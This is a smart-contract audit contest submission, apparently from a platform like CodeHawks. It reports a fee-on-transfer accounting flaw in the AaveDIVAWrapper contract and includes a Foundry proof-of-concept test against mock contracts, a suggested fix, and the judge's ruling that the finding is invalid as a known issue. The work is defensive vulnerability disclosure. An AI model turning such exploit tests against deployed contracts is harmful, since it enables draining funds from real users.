HardhatDeFi
15,000 USDC
View results
Submission Details
Severity: high
Invalid

High Risk Finding: Token Balance Mismatch Due to Fee-on-Transfer Tokens

Summary
The AaveDIVAWrapper contract incorrectly handles tokens that take fees on transfer (fee-on-transfer tokens) by minting more wTokens than the actual received collateral amount. This can lead to a mismatch between the wrapped token supply and the actual collateral backing, potentially allowing malicious users to drain funds from the protocol.

Vulnerability Details
In the _handleTokenOperations function, the contract mints wTokens based on the input amount rather than the actual received amount after transfer fees. For tokens that deduct fees on transfer, this creates a discrepancy between:

  1. The amount of collateral actually received and supplied to Aave

  2. The amount of wTokens minted

    function _handleTokenOperations(address _collateralToken, uint256 _collateralAmount, address _wToken) private {
    // Transfers collateral token - if token has 5% fee, only 95 tokens are received
    IERC20Metadata(_collateralToken).safeTransferFrom(msg.sender, address(this), _collateralAmount);

    // Supplies the received amount (95 tokens) to Aave
    IAave(_aaveV3Pool).supply(
    _collateralToken,
    _collateralAmount, // Using original amount instead of actual received
    address(this),
    0
    );
    // Mints wTokens based on original amount (100) instead of received amount (95)
    IWToken(_wToken).mint(address(this), _collateralAmount);

    }

Impact
Users can receive more wTokens than the actual collateral backing them

  • This breaks the 1:1 peg between wTokens and underlying collateral

  • The protocol becomes undercollateralized

  • Malicious users can exploit this to drain funds from the protocol

Tools Used
// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import "forge-std/Test.sol";
import "../src/AaveDIVAWrapper.sol";
import "../src/mocks/MockFeeToken.sol";
import "../src/mocks/MockAave.sol";
import "../src/mocks/MockDIVA.sol";

contract AaveDIVAWrapperTest is Test {
AaveDIVAWrapper public wrapper;
MockFeeToken public feeToken;
MockAave public aave;
MockDIVA public diva;
address public owner;
address public attacker;

function setUp() public {
// Deploy mock contracts
feeToken = new MockFeeToken("Fee Token", "FEE", 5); // 5% fee on transfer
aave = new MockAave();
diva = new MockDIVA();
owner = address(this);
attacker = address(0xB4D);
// Deploy AaveDIVAWrapper
wrapper = new AaveDIVAWrapper(
address(aave),
address(diva),
owner
);
// Register fee token as collateral
wrapper.registerCollateralToken(address(feeToken));
// Setup initial balances
feeToken.mint(attacker, 1000e18);
vm.startPrank(attacker);
feeToken.approve(address(wrapper), type(uint256).max);
}
function testExploit() public {
// Initial state
uint256 initialBalance = feeToken.balanceOf(attacker);
// Create pool parameters
AaveDIVAWrapper.PoolParams memory params = AaveDIVAWrapper.PoolParams({
referenceAsset: "ETH/USD",
expiryTime: block.timestamp + 1 days,
floor: 0,
inflection: 1000e18,
cap: 2000e18,
gradient: 1e18,
collateralAmount: 100e18,
collateralToken: address(feeToken),
dataProvider: address(1),
capacity: type(uint256).max,
longRecipient: attacker,
shortRecipient: attacker,
permissionedERC721Token: address(0)
});
// Create contingent pool - this will trigger the vulnerability
bytes32 poolId = wrapper.createContingentPool(params);
// Verify the mismatch
address wToken = wrapper.getWToken(address(feeToken));
uint256 wTokenSupply = IERC20(wToken).totalSupply();
uint256 aaveBalance = feeToken.balanceOf(address(aave));
console.log("wToken Supply:", wTokenSupply);
console.log("Actual Collateral in Aave:", aaveBalance);
console.log("Difference:", wTokenSupply - aaveBalance);
// Assert the mismatch
assertGt(wTokenSupply, aaveBalance, "wToken supply should be greater than actual collateral");
assertEq(wTokenSupply - aaveBalance, 5e18, "Mismatch should equal fee amount");
}

}

Manual review

  • Foundry for PoC development

Recommendations

Modify the _handleTokenOperations function to use the actual received amount:

function _handleTokenOperations(address _collateralToken, uint256 _collateralAmount, address _wToken) private {
// Record balance before transfer
uint256 balanceBefore = IERC20Metadata(_collateralToken).balanceOf(address(this));

// Transfer tokens
IERC20Metadata(_collateralToken).safeTransferFrom(msg.sender, address(this), _collateralAmount);
// Calculate actual received amount after fees
uint256 actualReceived = IERC20Metadata(_collateralToken).balanceOf(address(this)) - balanceBefore;
// Supply actual received amount to Aave
IAave(_aaveV3Pool).supply(
_collateralToken,
actualReceived,
address(this),
0
);
// Mint wTokens based on actual received amount
IWToken(_wToken).mint(address(this), actualReceived);

}

Consider maintaining a whitelist of approved collateral tokens

  • Add explicit checks that token balances match expected amounts

  • Add documentation warning about fee-on-transfer tokens

Updates

Lead Judging Commences

bube Lead Judge 9 months ago
Submission Judgement Published
Invalidated
Reason: Known issue

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.